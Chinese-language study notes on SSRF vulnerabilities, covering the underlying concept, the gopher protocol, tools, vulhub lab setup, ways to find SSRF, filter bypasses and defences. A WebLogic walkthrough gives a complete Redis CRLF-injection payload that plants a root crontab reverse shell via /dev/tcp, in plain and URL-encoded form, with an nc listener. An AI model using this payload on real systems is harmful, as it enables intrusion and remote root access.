SSRF漏洞(服务器端请求伪造)
- 中间人(SSRF就是中间人)攻击,服务端请求伪造,主要攻击内网,打redis和weblogic特别厉害,目标网站的内部系统(他是从内部系统访问的,所以通过它攻击外部系统无法访问的内部系统,也就是目标网站当成中间人)。
- 大部分漏漏洞都是参数给变量的时候没有做任何限制导致漏洞。
- 攻击主要结果:
- 写webshell(需要知道web路径,有增删改查权限,gopher协议的使用,使用工具生成gopher 攻击ssrfpayload)
- 反弹shell(获取操作系统命令)
- 原理:
- 根本原因:
- SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。
- 从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制,比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档等等。
- 程序员在写代码时候,使用了不安全的函数(curl_exec()、file_get_contents()、fsockopen() ),造成的
- 图示:
- A网站,是一个所有人都可以访问的外网网站,B网站是他们内部的网站,我们普通用户只能访问A网站,不能访问B网站,但是我们可以通过A网站做中间人,访问B网站,从而达到攻击B网站的目的。
- 通过篡改获取资源的请求发送给服务器,但是服务器没有检测这个请求是否合法,然后服务器以他的身份来访问其他服务器资源。
- 根本原因:
- 常用:
- SSRF攻击结果由涵数本身来决定,涵数功能越强大,攻击成功的机会就越高,如:curl_init()、file_get_contents()、fsockopen()
- 白盒就找这三个函数就行
- curl()函数详解:
- ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
- ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
- SSRF漏洞利用中的万金油协议gopher:
- gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样变可以解决漏洞点不在GET参数的问题了。
- 基本协议格式:URL:gopher://<host>:<port>/<gopher-path>
- 支持协议:
- http gopher (把post包当成get包去请求) dict等
- 用途:
- 读文件 | file_get_contents (使用php协议进行读文件,php协议使用base64编码可以把特殊符号转义,如果直接使用file协议进行读取,可能造成代码中断)
- 探测端口 | curl()
- 探测指纹
- 写webshell
- -----------------
- 可以对外网、服务器所在的内网,本地进行端口扫描,获取一些banner信息
- 攻击运行在内网或者本地的应用程序(溢出)
- 对内网web应用进行指纹识别,通过访问默认文件实现
- 攻击内外网的web应用,主要使用get参数就可以实现的攻击(struts2、sqli等)
- 利用file协议读取本地文件等
- 可以执行操作系统命令的函数:
- system()
- ssrf 工具的使用
- Gopherus - https://github.com/tarunkant/Gopherus
Gopherus可以帮助我们直接生成Gopher payload,以利用SSRF(服务器端请求伪造)并获得RCE(远程代码执行), 常用的还有以下两个工具
SSRFmap - https://github.com/swisskyrepo/SSRFmap
shellver - https://github.com/0xR0/shellver
- Gopherus - https://github.com/tarunkant/Gopherus
- pikachu漏洞测试SSRF:
- 探测端口,使用curl:
- 读文件,使用file_get_contents():
- redis(6379) + ssrf 攻击利用实战(其次:写webshell,知道web路径,有增删改查权限,gopher协议,):
- redis + ssrf反弹shell(优先:攻击weblogic,linux contact定时任务反弹shell):
- docker实验环境的搭建vulhub靶场:
一、安装docker 1.新建/usr/docker/目录 mkdir /usr/docker/ 2.下载docker离线安装包 cd /usr/docker/ 上传预先下载好的docker离线安装包docker-ce-17.12.1.ce-1.el7.centos.x86_64.rpm3.安装docker服务 yum install yum install docker-ce-17.12.1.ce-1.el7.centos.x86_64.rpm -y 4.启动并设置开机自启动docker服务 systemctl start docker systemctl enable docker 5.查看服务是否启动成功 systemctl | grep docker 二、安装Docker-Compose 1.移动到/usr/local/bin目录 cd /usr/local/bin/ 2.下载Docker-Compose离线安装包 上传预先下载好的docker-compose离线安装包3.添加执行权限 sudo chmod +x /usr/local/bin/docker-compose 4.验证版本 docker-compose version 三、安装Vulhub 1.移动到root目录 cd /root/ 将预先下载好的vulhub-master.zip上传到root目录2.创建一个vulhub目录并将压缩包放进去 mkdir vulhub && mv vulhub-master.zip vulhub/ && cd vulhub/ 3.解压压缩包 unzip vulhub-master.zip 4.移动压缩文件 cd vulhub-master/ mv * /root/vulhub 四、靶场使用 1.选择漏洞环境 在Vulhub中选择某个环境,cd进入对应目录find /root/vulhub/ -type d -name "CVE*"#查找所有以CVE开头的目录 cd /root/vulhub/discuz/CVE编号/ 2.可修改端口和账号密码 vi docker-compose.yml 3.启动环境 systemctl start docker #启动docker服务 docker-compose up -d # 启动环境 docker-compose down # 关闭环境,需要在该环境目录下执行 4.编译环境 启动环境后,会自动查找当前目录下的配置文件如果配置文件中包含的环境均已经存在,则不会再次编译,反之则会自动进行编译。所以,其实命令是包含了docker-compose up -ddocker-compose build#但是如果更新了配置文件,则需要手工来重新编译靶场环境。 docker-compose build 五、配置物理机访问容器 经过上面的配置,已经可以在虚拟机Centos7中使用浏览器访问对应的漏洞环境。但此时物理机是无法通过浏览器访问漏洞环境的,需要手动配置静态路由,将通往Docker的数据包交给虚拟机来转发1.查看Docker容器的IP docker ps # 查看运行服务端口 CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES a4eed382479c vulhub/discuz:7.2 "docker-php-entrypoi…" About a minute ago Up About a minute 0.0.0.0:8080->80/tcp wooyun-2010-080723_discuz_1 15b46d6919a9 mysql:5.5 "docker-entrypoint.s…" About a minute ago Up About a minute 3306/tcp wooyun-2010-080723_db_1 docker inspect [容器ID] | grep IPAddress # [容器ID]为漏洞环境所在容器,此处为a4eed382479c # "IPAddress": "172.18.0.3" 2.关闭虚拟机防火墙 systemctl stop firewalld.service 3.物理机使用管理员模式打开cmd route add -p 172.18.0.0 mask 255.255.0.0 192.168.1.13 # -p 永久路由,重启系统路由仍有效 route print # 打印当前路由表 ================================================================ 永久路由:网络地址 网络掩码 网关地址 跃点数172.18.0.0 255.255.0.0 192.168.1.13 1 ================================================================ 六、靶场使用 1.启动环境 选择漏洞环境。首先在Vulhub中选择靶场环境,cd进入对应目录cd vulhub/discuz/wooyun-2010-080723/ 修改端口和账号密码(可选)。可以通过编辑docker-compose.yml来进行修改vim docker-compose.yml 启动环境docker-compose up -d # 启动环境 # Starting CVE漏洞编号 ... done # Starting CVE漏洞编号 ... done 查看靶机运行端口# 主要看容器ID和端口,然后通过容器ID查看IP docker ps # 查看运行服务端口 ================================================ CONTAINER ID IMAGE PORTS a4eed382479c vulhub/discuz:7.2 0.0.0.0:8080->80/tcp ================================================ $ docker inspect [容器ID] | grep IPAddress # [容器ID]为漏洞环境所在容器,此处为a4eed382479c "IPAddress": "172.18.0.3" 2.漏洞复现 3.结束使用 复现完之后可以通过以下命令关闭环境,但注意此命令需要在对应环境目录下执行docker-compose down # Stopping wooyun-2010-080723_discuz_1 ... done # Stopping wooyun-2010-080723_db_1 ... done # Removing wooyun-2010-080723_discuz_1 ... done # Removing network wooyun-2010-080723_default 检查是否关闭docker psdocker inspect fd37b9922385(服务号,查看详细信息)docker inspect fd37b9922385|grep "IPAddress" (查看docker内网ip地址)crontab -e 查看定时任务nc -lvvp 9999(监听9999端口)
- 搜索ssrf漏洞:
- [root@VM-0-15-centos ssrf]# find /root -name 'ssrf'
- [root@VM-0-15-centos ssrf]# cd /root/vulhub/weblogic/ssrf
- [root@VM-0-15-centos ssrf]# docker-compose up -d
- 参考博文:https://www.cnblogs.com/flokz/p/weblogic_SSRF.html
- 探测内网存活主机IP、探测端口
- 攻击redis (通过header CRLF注入)
- 原理:Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入`%0a%0d`来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
- 探测redis 6379端口是否开放(如下说明端口未开放):
- 重新配置安全组之后,再访问下内容,端口已经开放:
- 准备好攻击脚本:
testset 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.220.140/2333 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab saveaaa
- 将上述攻击代码换成url编码:
- test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140(docker IP)%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
- 浏览器访问:
- http://140.143.36.109:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://内网ip:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F内网ip%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
- 本地监听2333端口:nc -lvvp 2333,反弹shell成功
- docker实验环境的搭建vulhub靶场:
- ssrf如何挖掘:
- 黑盒测试:
- 分享:通过URL地址分享网页内容
- 转码服务
- 在线翻译
- 图片加载与下载
- 图片、文章收藏功能
- 未公开的api实现及其他调用URL的功能
- url关键词查找:share、wap、url、link、src、source、domain
- 白盒测试(代码审计):
- curl_init()、file_get_contents()、fsockopen()
- 黑盒测试:
- 绕过方法(黑名单过滤):
- 更改IP地址写法:8进制、十进制、十六进制
- 利用解析URL所出现的问题 (域名拼接上去+@符号)
- 防范方法:
- 过滤本地ip地址
- 过滤协议
- 白名单过滤
- 对返回内容进行识别
SSRF漏洞(服务器端请求伪造)相关推荐
- Web漏洞之SSRF(服务器端请求伪造)
文章目录 一.漏洞场景 二.漏洞描述 三.漏洞原理 四.漏洞危害 五.漏洞评级 六.漏洞验证 七.漏洞利用 八.漏洞防御 一.漏洞场景 服务器会根据用户提交的URL 发送一个HTTP 请求.使用用户指 ...
- SSRF服务器端请求伪造漏洞基础
SSRF服务器端请求伪造漏洞基础,下面分五个专题来说 1.什么是ssrf? 2.ssrf的相关协议 3.有无回显的ssrf漏洞确认 4.ssrf如何利用? 5.ssrf漏洞的绕过 6.ssrf漏洞的加 ...
- ssrf 服务器端请求伪造 简介
SSRF漏洞是如何产生的? SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF是要目标网站 ...
- Web安全——服务器端请求伪造(SSRF)
SSRF 概述 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访 ...
- SSRF服务器端请求伪造
SSRF服务器端请求伪造 SSRF服务端请求伪造漏洞,也称为XSPA跨站端口攻击,是一种由攻击者构造一定的利用代码导致服务端发起漏洞利用请求的安全漏洞,一般情况下SSRF攻击的应用是无法通过外网访问的 ...
- 【转】SSRF(Server-Side Request Forgery:服务器端请求伪造)
原文链接:服务端请求伪造(SSRF) - Hel10 - 博客园 0x01:服务器端请求伪造的概念 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻 ...
- 【SSRF-01】服务器端请求伪造漏洞原理及利用实例
目录 1 基础知识 1.1 概述 1.2 原理 1.3 危害 2 SSRF漏洞利用实例 2.1 实验环境及实验前准备 2.2 SSRF漏洞的利用实例 2.2.1 正常访问 2.2.2 端口扫描-扫描内 ...
- SSRF(Server-Side Request Forgery):服务器端请求伪造
0X00 SSRF介绍 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外 ...
- SSRF服务器端请求伪造攻击详解
一.SSRF概述 SSRF(Server-Side Request Forgery:服务器端请求伪造),是一种由攻击者构造请求,由服务端发起请求的安全漏洞. 其形成的原因大都是由于服务端提供了 ...
最新文章
- MySQL · 最佳实践 · 什么时候该升级内存规格
- java点到直线的投影点到经纬度_12分高考答题必刷题型,“空间向量分析点到线的距离问题”...
- 新手入门深度学习 | 1-1:配置深度学习环境
- html5杂记(1)
- [剑指offer]面试题48:不能被继承的类
- vue里面的mvvm双向绑定(高级语法糖)
- Android Gradle进阶配置指南
- cmake常用语法参考
- Linux Shell常用命令学习(1)
- c语言中node是数据类型吗,lnode(数据结构lnode是什么类型)
- 第六章-循环控制结构
- 给不给你升职,领导关心的是什么?
- (九) 正则表达式——文本处理(用s///替换、split与join函数、列表上下文中的m//、非贪婪量词、文件更新等)
- groovy if 判断字符串_Groovy语法
- 阿里云短信服务-个人账户测试短信服务
- 【JS】网页悬浮广告及联系QQ客服侧边栏
- LINUX内核编译选项-5
- 农夫住房抵押贷款叫醒农村沉睡资本
- phpcms调用一个指定的栏目的url和栏目名称?
- Ceph部署(一)集群搭建